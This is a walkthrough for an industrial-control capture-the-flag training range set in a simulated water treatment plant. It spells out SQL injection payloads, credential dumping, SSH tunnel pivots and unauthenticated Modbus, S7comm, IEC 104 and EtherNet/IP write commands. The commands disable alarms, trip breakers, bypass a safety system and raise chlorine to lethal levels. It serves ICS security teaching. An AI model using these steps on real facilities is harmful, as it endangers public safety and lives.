01
Perimeter Breach
Beginner
Points: 100 Protocol: HTTP
The Story
You just plugged your laptop into a corporate network at a water treatment facility. You have no credentials, no map, no idea what's inside. Your job: find a way in.
What You Know
- You have an Ethernet connection
- Your IP is in the 10.0.1.x range
- Something is running on this network
Step 1: Reconnaissance
Every pentest starts with scanning. What devices are on this network? What services are running?
Hint: Use nmap to scan the corporate subnet.
Need help with the command?
What to look for: Open ports, especially web servers (port 80, 8080).
Step 2: Explore the Web Application
You found a web server. Open it in your browser.
What to look for:
- Is there a login page?
- Check the page source (Ctrl+U) - developers sometimes leave comments
- Are there any API endpoints?
Step 3: Find a Vulnerability
Web applications often have flaws in how they handle user data. Try accessing resources you shouldn't be able to.
Hint: What happens if you change numbers in the URL?
Stuck?
Try accessing employee records by ID:
http://<ip>/api/employee/1
http://<ip>/api/employee/2
This is called IDOR (Insecure Direct Object Reference).
Step 4: Get Access
You found some data. Can you use it to log in?
Hint: Look for usernames and try common passwords.
Still stuck?
Try common credentials: admin/admin, admin/admin123, admin/password
Step 5: What Did You Find?
Once you're in, explore everything. The admin panel contains critical information about the internal network that you'll need for every challenge that follows.
Write down all the IPs and services you see.
What You Learned
- Network scanning reveals hidden services
- Web applications often have IDOR vulnerabilities
- Default/weak credentials are everywhere
- One compromised system reveals the entire network map
Scoreboard: The display updates automatically when you complete this challenge. No flag to submit - just hack your way in.
02
Intelligence Gathering
Beginner
Points: 200 Protocol: OPC-UA
The Story
You broke into the corporate portal and found a list of internal systems. One of them is a "data gateway" - sounds important. Time to dig deeper into what the plant is hiding.
What You Know (from Challenge 1)
- Admin panel showed several internal IPs
- There's a DMZ network at 10.0.2.x
- Something called "OPC-UA" is running somewhere
Step 1: Scan the DMZ
The admin panel pointed to the DMZ network. Scan it to find what services are running.
Hint: Scan 10.0.2.0/24 with nmap.
Need the command?
What you'll notice: One of the IPs from the admin panel doesn't show any open ports in the default scan. Why?
Step 2: The Missing Service
Default nmap only scans the top 1000 ports. Industrial protocols use non-standard ports that get missed.
Hint: The admin panel told you exactly which port to look for. Scan it specifically.
What port?
OPC-UA uses port 4840. Scan it directly:
nmap -sT -p 4840 10.0.2.30
Step 3: Connect to OPC-UA
OPC-UA (Open Platform Communications Unified Architecture) is an industrial data protocol. It's like a database of everything happening in the plant.
Hint: You have a GUI tool installed. Try running opcua-client from the terminal.
How to connect?
- Run
opcua-client from a terminal
- Enter the address:
opc.tcp://10.0.2.30:4840
- Click Connect
- Browse the tree on the left panel
Step 4: Explore the Data
You're now connected to the plant's data gateway. Browse through everything - look for:
- Configuration data
- Credentials
- Hidden information
- Maintenance records
Hint: Expand every node. Some have sub-nodes that contain the real treasure.
Where to look specifically?
Look at these paths:
WaterTreatmentPlant → HistorianConfig - contains database credentials
WaterTreatmentPlant → PlantInfo → Maintenance → ServiceHistory - expand entries and check the Notes field
Step 5: Write It Down
You found critical information. Write down:
- Any credentials (server, username, password)
- Any flags
- Any IP addresses and ports
- Network endpoints
You'll need these for the next challenge.
What You Learned
- Industrial protocols use non-standard ports - default scans miss them
- OPC-UA often allows anonymous access (no authentication)
- One connection can expose the entire plant's data
- Always scan specific ICS ports: 502, 4840, 20000, 44818, 2404, 47808
Scoreboard: Updates automatically when you connect to the OPC-UA server.
03
Pivot to OT
Intermediate
Points: 300 Protocol: SQLi + SSH
The Story
You have credentials for the plant's data historian - a database that stores all process data. Historians are gold mines for attackers because they often have weak security and contain credentials for other systems. Time to exploit it and pivot deeper into the OT network.
What You Know (from Challenge 2)
- Historian at
10.0.2.10:8080 with credentials historian / hist0ry!
- Jump Host at
10.0.2.20 with SSH open
- SCADA HMI at
10.0.3.10:8080
Step 1: Login to the Historian
Open it in your browser and login with the credentials you found.
How?
http://10.0.2.10:8080
Username: historian
Password: hist0ry!
You should see a process data dashboard with a Query page.
Step 2: Test for SQL Injection
The Query page has a "Filter by Source" input field. Pentesters always test input fields for injection vulnerabilities.
Hint: What happens if you put a single quote ' in the field?
What to try?
Type this in the Source field:
'
If you get a SQL error - the input is not sanitized. It's injectable.
Step 3: Extract Data with UNION SELECT
SQL injection lets you read any table in the database. But you need to match the column count.
Hint: Try increasing the number of columns in a UNION SELECT until it works.
How many columns?
The table has 10 columns. Try:
' UNION SELECT 1,2,3,4,5,6,7,8,9,10 --
Step 4: Find Hidden Tables
What tables exist in this database? The database schema tells you.
How to list tables?
zzz' UNION SELECT name,1,1,1,1,1,1,1,1,1 FROM sqlite_master WHERE type='table' --
Look for interesting table names like credentials, flags, users.
Step 5: Dump the Credentials
You found a credentials table. What's in it?
How to dump it?
First find the columns:
zzz' UNION SELECT replace(sql,char(10),' '),1,1,1,1,1,1,1,1,1 FROM sqlite_master WHERE name='credentials' --
Then dump the data:
zzz' UNION SELECT service,host||':'||port,username,password,notes,1,1,1,1,1 FROM credentials --
Write down every credential you find - you need them for pivoting.
Step 6: Don't Forget the Flags Table
There's also a flags table worth checking.
Query?
zzz' UNION SELECT id,flag,'3','4','5','6','7','8','9','10' FROM flags --
Step 7: Pivot via SSH
You found SSH credentials. Use them to move deeper into the network.
Hint: Start with the Jump Host, then look around - check bash history for clues about where previous users connected.
SSH commands?
ssh maintenance@10.0.2.20
# password: maint2024!
Once on the Jump Host:
cat ~/.bash_history
Then pivot to the next host you find in the history.
Step 8: Access the SCADA HMI
You've pivoted to the SCADA zone. The HMI is a web application - but your laptop can't reach it directly. You need an SSH tunnel.
Hint: SSH tunnels forward a local port through a remote host.
How to tunnel?
From your Kali terminal (not inside the jump host):
sshpass -p 'maint2024!' ssh -f -N -L 8080:10.0.3.10:8080 maintenance@10.0.2.20
Then open Firefox:
http://localhost:8080
Login with the SCADA credentials you found in the SQL dump.
Explore the HMI - it has multiple tabs showing different parts of the plant.
What You Learned
- SQL injection can extract entire databases
- Credentials stored in plaintext are common in industrial systems
- SSH tunneling lets you pivot between network zones
- Bash history reveals what previous users did
- One compromised system leads to the next - this is how real attacks chain
Scoreboard: Updates when the SCADA HMI login is detected.
04
Building Recon
Intermediate
Points: 350 Protocol: BACnet/IP
The Story
Remember that device at 10.0.1.20 from your very first scan? It had no TCP ports open - but it's definitely there. Something is monitoring the building's environment. Not all industrial protocols use TCP.
What You Know
- 10.0.1.20 is on the corporate network (same as you)
- No TCP ports were found in earlier scans
- OPC-UA (CH-02) showed "BuildingManagement" sensor data - temperature, humidity
Step 1: Think Beyond TCP
Your earlier scans used -sT which only scans TCP. Many industrial protocols use UDP instead.
Hint: Building automation commonly uses UDP port 47808.
How to scan UDP?
sudo nmap -sU -p 47808 10.0.1.20
Note: UDP scans require sudo.
Step 2: What is BACnet?
BACnet (Building Automation and Control Networks) controls:
- HVAC (heating, ventilation, air conditioning)
- Lighting
- Access control (door locks)
- Fire alarm systems
It uses UDP port 47808 and has zero authentication by default.
Step 3: Discover the Device
Use the BACnet tool to find out what's running.
How?
python3 ~/tools/bacnet-tool.py -t 10.0.1.20 -c scan
Step 4: Enumerate Objects
BACnet organizes data as objects:
- AI (Analog Input) - sensors like temperature, humidity
- AV (Analog Value) - configuration parameters
- BI (Binary Input) - on/off states
List everything on the device.
Command?
python3 ~/tools/bacnet-tool.py -t 10.0.1.20 -c list
Look carefully at the output. Some objects have unusual instance numbers - those are worth investigating.
Step 5: Dig Deeper
A thorough pentester doesn't just read values - they check all properties of interesting objects. BACnet objects have properties like Present-Value (85), Description (28), and Object-Name (77).
Hint: An object with an unusual instance number might have something hidden in its Description.
How to read all properties?
python3 ~/tools/bacnet-tool.py -t 10.0.1.20 -c read-all --type AV --instance <number>
Try different instances, especially unusual ones.
What You Learned
- BACnet uses UDP - TCP scans miss it completely
- Building management systems often sit on the corporate network, not segmented
- BACnet has zero authentication - anyone can read AND write
- An attacker could control HVAC, unlock doors, disable fire alarms
- Always scan UDP ports when testing OT environments
Scoreboard: Updates about 30 seconds after a BACnet query is detected.
05
Deep Protocol: DNP3
Advanced
Points: 400 Protocol: DNP3 (Distributed Network Protocol 3)
The Story
You've reached the SCADA zone. From the Engineering Workstation, you can see the Process network where the actual PLCs run. One of them speaks a protocol used in power grids and water systems worldwide. It's time to go deep into industrial protocol territory.
What You Know
- You have SSH access to the EWS (engineer@10.0.3.20)
- The Process network is at 10.0.4.x
- Kali can't reach 10.0.4.x directly - firewall blocks it
Step 1: Scan the Process Network
You need to scan from the EWS, or set up tunnels from Kali.
Hint: Set up a double SSH tunnel - Kali → Jump Host → EWS.
Tunnel commands?
# Tunnel 1: Reach EWS SSH through Jump Host
sshpass -p 'maint2024!' ssh -f -N -L 2222:10.0.3.20:22 maintenance@10.0.2.20
# Now you can SSH to EWS via localhost:2222
sshpass -p 'eng2024!' ssh -p 2222 engineer@127.0.0.1 'nmap -sT 10.0.4.0/24 2>/dev/null'
What to look for: Multiple PLCs on different ports. One of them is on port 20000.
Step 2: Identify the Protocol
Port 20000 isn't standard for Modbus (502) or EtherNet/IP (44818). Research what SCADA protocol uses port 20000.
Hint: It's a protocol designed by GE for electric utilities, now used worldwide in water and power.
Answer
DNP3 (Distributed Network Protocol 3) - commonly on port 20000. Used in the Ukraine power grid attack (2015).
Step 3: Set Up a Tunnel and Connect
Forward port 20000 through the EWS to Kali.
Tunnel command?
sshpass -p 'eng2024!' ssh -f -N -L 20000:10.0.4.103:20000 -p 2222 engineer@127.0.0.1
Now use the DNP3 tool to scan and read:
python3 ~/tools/dnp3-tool.py -t 127.0.0.1 -c scan
python3 ~/tools/dnp3-tool.py -t 127.0.0.1 -c read
Step 4: Analyze the Data
The read command returns binary inputs, analog inputs, and counters. Look at the counter values carefully.
Hint: The counter values are small numbers. Could they represent something other than counts?
Another hint
Look at the ASCII column next to each counter value. What do the characters spell?
Step 5: The CRC Challenge
DNP3 uses CRC-16 checksums for data integrity. The counter values encode a message. To prove you understand the protocol, you need to:
- Decode the message from the counter ASCII values
- Calculate the DNP3 CRC-16 of that message
- Write the CRC value back to the outstation
The tool does NOT calculate CRC for you - you must write your own.
CRC-16-DNP algorithm
python3 -c "
data = b'<YOUR_MESSAGE_HERE>'
crc = 0
for byte in data:
crc ^= byte
for _ in range(8):
if crc & 1:
crc = (crc >> 1) ^ 0xA6BC
else:
crc >>= 1
crc = (crc ^ 0xFFFF) & 0xFFFF
print('CRC:', crc)
"
Step 6: Send the CRC
Use the DNP3 tool's operate command with your calculated CRC value.
Command?
python3 ~/tools/dnp3-tool.py -t 127.0.0.1 -c operate -v <your_crc_value>
If the CRC is correct, the outstation returns the flag in its response.
What You Learned
- SSH tunneling chains let you reach isolated networks
- DNP3 is used in power grids, water systems, oil/gas pipelines
- DNP3 organizes data as binary inputs, analog inputs, and counters
- CRC-16 provides data integrity but NOT security
- No authentication on control commands - anyone can operate equipment
Scoreboard: Updates when the correct CRC value is written to the outstation.
06
Silent Overpressure
Advanced
Points: 450 Protocol: EtherNet/IP (CIP)
The Story
The water distribution system is controlled by a Rockwell/Allen-Bradley PLC. You can see it live on the SCADA HMI - the Distribution tab shows outlet pressure, pump speed, and an alarm system. Your mission: cause an overpressure without triggering the alarm. A real attacker needs to be stealthy.
What You Know
- From process network scans, there's a PLC at 10.0.4.104:44818
- Port 44818 = EtherNet/IP (Rockwell/Allen-Bradley standard)
- The SCADA HMI Distribution page shows live pressure and alarm status
- The alarm will fire if pressure exceeds the threshold
Step 1: Open the HMI
Make sure you have the SCADA HMI open in Firefox (from CH-03 tunnel).
Open the Distribution tab - watch it throughout this challenge.
You see:
- Outlet pressure (~42 PSI, green)
- Pump speed (62%)
- Mode: AUTO
- Alarm: ARMED - NORMAL (green)
Step 2: Set Up a Tunnel
Forward port 44818 through the EWS to Kali.
Tunnel command?
sshpass -p 'eng2024!' ssh -f -N -L 44818:10.0.4.104:44818 -p 2222 engineer@127.0.0.1
Step 3: Scan the PLC
Discover what tags (variables) the PLC exposes.
Command?
python3 ~/tools/enip-tool.py -t 127.0.0.1 -c scan
Study the tags carefully. Which ones are writable? Which ones control the alarm? What's the threshold?
Step 4: Try the Obvious Attack
Switch to manual mode and crank the pump to 100%.
Watch the HMI while you do this.
Commands?
python3 ~/tools/enip-tool.py -t 127.0.0.1 -c write --tag MODE_SELECT --value 0
python3 ~/tools/enip-tool.py -t 127.0.0.1 -c write --tag BOOSTER_PUMP_SPEED --value 100
What happens? Pressure rises... passes the threshold... ALARM FIRES! Everything resets. You failed.
In a real system, operators would be alerted. A stealthy attacker wouldn't trip the alarm.
Step 5: Think Like Stuxnet
The Stuxnet worm disabled safety alerts BEFORE causing physical damage. The operators saw normal readings while centrifuges were being destroyed.
What tag controls the alarm? Can you disable it BEFORE causing overpressure?
Hint
Look at the tag list from the scan. There's a tag that enables/disables the alarm. Write to it first, THEN cause the overpressure.
Step 6: The Right Order
- First: disable the alarm
- Then: switch to manual mode
- Then: max out the pump
Watch the HMI - pressure rises past the threshold but no alarm fires. The flag appears on the Distribution page.
Need the exact commands?
Check the solution file - but try to figure out the order yourself first.
What You Learned
- EtherNet/IP uses named tags - readable and writable without authentication
- Order of operations matters in ICS attacks
- Disabling alarms before causing damage = stealth (Stuxnet technique)
- The HMI shows real-time impact of your attack
- Defence: tag write monitoring, alarm tamper detection
Scoreboard: Updates when pressure exceeds threshold with alarm disabled. The flag also appears on the HMI Distribution page.
07
Power Substation Blackout
Advanced
Points: 500 Protocol: IEC 60870-5-104
The Story
The plant has its own power substation - breakers, feeders, and a 230V supply keeping everything running. It's controlled by a European SCADA protocol that manages power grids across the world. One command to the wrong breaker and the entire facility goes dark. Open the Power tab on the HMI to see the substation diagram.
What You Know
- From process network scans, there's a PLC at 10.0.4.105:2404
- Port 2404 = IEC 60870-5-104 (European power grid SCADA)
- The SCADA HMI Power page shows a single-line substation diagram
- Main breaker is CLOSED (green), voltage ~230V
Step 1: Watch the HMI
Open the Power tab on the SCADA HMI. You see:
- Single-line diagram with Main Breaker, Bus Tie, Feeders A & B
- Live voltage, current, frequency, power measurements
- Everything is green and normal
Keep this page open - you're about to cause a blackout.
Step 2: Set Up a Tunnel
Forward port 2404 through the EWS.
Tunnel command?
sshpass -p 'eng2024!' ssh -f -N -L 2404:10.0.4.105:2404 -p 2222 engineer@127.0.0.1
Step 3: Scan the Station
IEC 104 organizes data differently from Modbus or EtherNet/IP:
- IOA (Information Object Address) identifies each data point
- M_SP_NA_1 = single-point status (breaker open/closed)
- M_ME_NC_1 = measured value (voltage, frequency)
- C_SC_NA_1 = single command (control a breaker)
Scan command?
python3 ~/tools/iec104-tool.py -t 127.0.0.1 -c scan
Study the output. Note which IOAs are status points and which are command points. The command points can CONTROL the breakers.
Step 4: Read Measurements
Get a detailed view of the substation state.
Command?
python3 ~/tools/iec104-tool.py -t 127.0.0.1 -c read
The main breaker at IOA 100 is CLOSED - it's supplying power to the entire plant.
Step 5: Trip the Main Breaker
The command IOA for the main breaker is listed in the scan output. Send a TRIP command to open it.
Watch the HMI Power page when you do this.
What value to use?
"trip" or "off" or "open" - the tool accepts all of these.
Full command?
python3 ~/tools/iec104-tool.py -t 127.0.0.1 -c control --ioa <command_ioa> --value trip
What happens on the HMI: BLACKOUT flashes across the substation diagram. The main breaker turns RED (OPEN). The flag appears.
What You Learned
- IEC 60870-5-104 controls real power grid infrastructure
- One command can blackout an entire facility
- No authentication required on breaker commands
- This is exactly how the Ukraine power grid was attacked in December 2015 - attackers used IEC 104 to open breakers remotely, cutting power to 230,000 people
Scoreboard: Updates when the breaker trip command is detected. Flag also appears on the HMI Power page.
08
Process Manipulation
Expert
Points: 600 Protocol: Modbus TCP
The Story
The heart of the water treatment plant is the chemical dosing system. A PLC controls how much chlorine gets injected into the water - too little and bacteria survive, too much and the water becomes toxic. The PLC runs a PID controller that automatically maintains safe levels. Your mission: take over the dosing process.
What You Know
- From process network scans, there's a PLC at 10.0.4.102:502
- Port 502 = Modbus TCP (the most common industrial protocol)
- The SCADA HMI Process page shows live chlorine levels and PID mode
- Chlorine is currently ~1.5 ppm (safe, controlled by PID in AUTO mode)
Step 1: Watch the HMI
Open the Process tab on the SCADA HMI. Note:
- Chlorine: ~1.50 ppm (green)
- PID: AUTO
- The PID controller keeps chlorine at the safe setpoint
Keep watching - you'll see chlorine change as you manipulate the PLC.
Step 2: Set Up a Tunnel
Forward Modbus port 502 through the EWS.
Tunnel command?
sshpass -p 'eng2024!' ssh -f -N -L 502:10.0.4.102:502 -p 2222 engineer@127.0.0.1
Note: Port 502 is privileged - may need sudo on some systems.
Step 3: Scan the PLC
Modbus organizes data as numbered registers:
- Holding Registers (HR) - read/write (setpoints, PID parameters)
- Coils - read/write digital outputs (pump on/off)
- Input Registers (IR) - read-only sensor values
- Discrete Inputs - read-only digital inputs
Scan command?
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c scan
Study the registers. Which ones control the PID? Which is the mode select? Which sets the dosing speed?
Step 4: Understand the PID Controller
The PID (Proportional-Integral-Derivative) controller automatically adjusts chlorine dosing. Key registers:
- One register controls AUTO vs MANUAL mode
- Another sets the manual dosing speed (0-100%)
- Input registers show actual sensor readings
Hint: Look for registers with values like 0 or 1 (mode switches) and values in the 0-100 range (percentages).
Which registers?
- HR 9 = PID mode (1=AUTO, 0=MANUAL)
- HR 10 = Manual dosing speed (0-100%)
- IR 0 = Chlorine sensor reading (x100, so 150 = 1.50 ppm)
Step 5: Take Over
Switch the PID to manual and set the dosing speed high.
Watch the HMI - PID should change from AUTO to MANUAL, and chlorine should start rising.
Commands?
# Switch to manual
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 9 --value 0
# Set dosing speed
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 10 --value 75
Step 6: Observe the Impact
Read the chlorine sensor to see it rising:
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c read --register 0 --type input
On the HMI: Chlorine value climbs, color changes from green to yellow to red. The flag appears on the Process page.
Note: Chlorine will cap around 5 ppm due to a PLC safety cutoff. You'll need to bypass this in a later challenge...
What You Learned
- Modbus TCP is the most widely deployed ICS protocol - and has zero authentication
- PID controllers are the brains of industrial processes - switching to manual removes all safety
- Two register writes can turn a water treatment plant into a poison factory
- This mirrors the Oldsmar, Florida attack (2021) where an attacker changed sodium hydroxide levels remotely
- Defence: Modbus traffic monitoring, write protection, network segmentation
Scoreboard: Updates when PID mode is set to manual AND dosing speed exceeds 50%. Flag appears on HMI Process page.
09
Safety Assault
Expert
Points: 800 Protocol: S7comm (Siemens)
The Story
After CH-08, you noticed chlorine caps at ~5 ppm. Something is stopping you. The plant has a Safety Instrumented System (SIS) - an independent last line of defence that shuts everything down if conditions become dangerous. The SIS is on a completely isolated network... or is it?
What You Know
- The Safety network is at 10.0.5.x
- No firewall rules allow direct access from any zone
- The SIS PLC is at 10.0.5.201:102 (S7comm protocol)
- The HMI Process page shows SIS: ARMED (green)
Step 1: The Problem
The safety network is supposed to be air-gapped. You can't reach 10.0.5.x from the SCADA zone or anywhere else. The firewall blocks everything.
But in real industrial environments, someone always leaves a backdoor for maintenance...
Step 2: Investigate the Engineering Workstation
You have SSH access to the EWS (engineer@10.0.3.20). What else is running on it?
Hint: Check what ports are listening on the EWS.
How?
SSH to the EWS and list listening ports:
sshpass -p 'eng2024!' ssh -p 2222 engineer@127.0.0.1 'ss -tlnp'
What do you see? Port 22 (SSH, expected) and... another port. What's that?
Step 3: The Forgotten Bridge
That mysterious port is a TCP proxy - someone set up a maintenance bridge from the EWS to the Safety PLC. It was supposed to be temporary, but it was never removed.
This is how air-gaps get broken in real facilities.
Tunnel that port to Kali.
Tunnel command?
sshpass -p 'eng2024!' ssh -f -N -L <port>:127.0.0.1:<port> -p 2222 engineer@127.0.0.1
Replace <port> with the port you discovered.
Step 4: Scan the Safety PLC
The bridge speaks S7comm - the Siemens protocol. S7comm organizes data in Data Blocks (DBs).
Scan command?
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p <port> -c scan
Study the data blocks. Look at the hex dump and decoded values. One DB contains status bits, another has setpoints and something that looks like a password.
Step 5: Read the Data Blocks
Read each DB carefully.
DB1 contains safety status - byte 0 has individual bits:
- Bit 0: SIS Armed
- Bit 1: SIS Tripped
- Bit 2: SIS Healthy
- Bit 4: Maintenance Mode (THE TARGET)
DB2 contains setpoints and a maintenance password.
Commands?
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p <port> -c read --db 1 --size 22
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p <port> -c read --db 2 --size 16
Hint: Look at the last value in DB2. Does it look like a numeric code?
Step 6: Enable Maintenance Mode
To bypass the SIS, you need to:
- Write the maintenance password to DB2
- Set the maintenance mode bit in DB1
How?
The tool supports both value writes and single-bit writes:
# Write password
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p <port> -c write --db 2 --offset <offset> --value <password>
# Set maintenance bit
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p <port> -c write --db 1 --offset 0 --bit 4 --bit-value on
Watch the HMI - SIS indicator changes from ARMED (green) to BYPASSED (yellow).
Step 7: Check DB99
The scan showed another interesting data block. What's in it?
Command?
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p <port> -c read --db 99 --size 32
Look at the ASCII column in the hex dump.
What You Learned
- Air-gapped networks often have forgotten maintenance bridges
- S7comm (Siemens) has no authentication on data block read/write
- Safety systems can be put in maintenance mode by an attacker
- This mirrors the TRITON/TRISIS attack (2017) - malware specifically targeted Schneider Electric SIS controllers in a Saudi petrochemical plant
- Defence: remove maintenance bridges, monitor SIS state changes, require physical key for maintenance mode
Scoreboard: Updates when SIS maintenance mode is enabled. Flag appears on HMI Process page.
10
Full Compromise
Expert
Points: 1000 The Stuxnet Scenario
The Story
This is it. The final challenge. You've compromised every layer of this water treatment plant - corporate network, DMZ, SCADA, process PLCs, power substation, and safety systems. Now combine everything you've learned to cause a catastrophic failure: push chlorine to lethal levels (>8 ppm) while keeping every safety system disabled. No alarms. No trips. No one knows until it's too late.
This is exactly what Stuxnet did to Iran's nuclear centrifuges in 2010.
What You Know
- CH-08: You can control the chemical dosing PLC via Modbus (10.0.4.102:502)
- CH-09: You can bypass the SIS via S7comm (bridge at 10102)
- Chlorine capped at ~5 ppm because of a PLC safety cutoff
- Even with SIS bypassed, the PLC has its own safety logic
The Three Barriers
To reach lethal chlorine (>8 ppm), ALL THREE must be defeated simultaneously:
- PLC PID Controller - keeps chlorine at 1.5 ppm automatically
- PLC Safety Cutoff - stops dosing at 5 ppm
- Safety Instrumented System - trips at 5 ppm (independent system)
You already defeated #1 (manual mode, CH-08) and #3 (SIS maintenance, CH-09). But #2 still blocks you at 5 ppm.
Step 1: Figure Out the PLC Safety Cutoff
In CH-08, you set manual mode + high speed. Chlorine rose but stopped at ~5 ppm. Why?
Hint: Go back to the Modbus scan from CH-08. There's a register you didn't use.
Which register?
HR 15 = alarm_inhibit. When set to 0, the PLC has a hard safety cutoff at 5 ppm. Setting it to 1 disables this cutoff.
Step 2: Plan the Attack
You need all three active at once:
- SIS in maintenance mode (S7comm - already done if CH-09 is complete)
- PLC alarm inhibit ON (Modbus register 15 = 1)
- PLC manual mode + maximum dosing (Modbus register 9 = 0, register 10 = 100)
Step 3: Execute
Make sure your tunnels are set up for both Modbus (port 502) and S7comm (port 10102).
Phase 1: Bypass the SIS (if not already done)
Commands?
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p 10102 -c write --db 2 --offset 14 --value 7777
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p 10102 -c write --db 1 --offset 0 --bit 4 --bit-value on
Phase 2: Inhibit PLC alarms
Command?
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 15 --value 1
Phase 3: Maximum chlorine dosing
Commands?
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 9 --value 0
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 10 --value 100
Step 4: Watch It Burn
Open the HMI Process page. Watch chlorine climb:
- 1.5 ppm → normal (green)
- 4.0 ppm → elevated (yellow)
- 5.0 ppm → would normally trip the safety... but you disabled it
- 6.0 ppm → dangerous (red)
- 8.0 ppm → LETHAL - PLANT COMPROMISED
You can monitor from the terminal too:
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c read --register 0 --type input
The chlorine sensor reading climbs past 500 (5.0 ppm)... 600... 700... 800+.
Step 5: Victory
When chlorine exceeds 8 ppm with SIS bypassed and alarms disabled:
- The HMI shows PLANT COMPROMISED in red
- A victory overlay appears with the final flag
- The scoreboard shows 4700/4700
What You Achieved
You executed a coordinated multi-protocol attack across 5 network zones using 8 industrial protocols:
Corporate (HTTP) → DMZ (OPC-UA, SQLi, SSH) → SCADA (HMI) →
Process (Modbus, DNP3, EtherNet/IP, IEC 104) → Safety (S7comm)
Every protocol had zero authentication. Every system was accessible once you reached it. The only defence was network segmentation - and you bypassed that with SSH tunneling and a forgotten maintenance bridge.
The Real-World Lesson
- Stuxnet (2010): Destroyed Iranian nuclear centrifuges by manipulating PLCs while reporting normal readings
- Ukraine Power Grid (2015): Opened breakers via IEC 104, blacking out 230,000 people
- TRITON/TRISIS (2017): Targeted safety systems in a Saudi petrochemical plant
- Oldsmar, Florida (2021): Changed chemical dosing levels in a water treatment plant remotely
What you just did combines elements of all four attacks. The difference: this was a training range. In the real world, lives depend on these systems.
Defence requires: network segmentation, protocol monitoring, authentication, safety system integrity, and people who understand both IT and OT security.
Scoreboard: 4700 / 4700 - ALL CHALLENGES COMPLETE.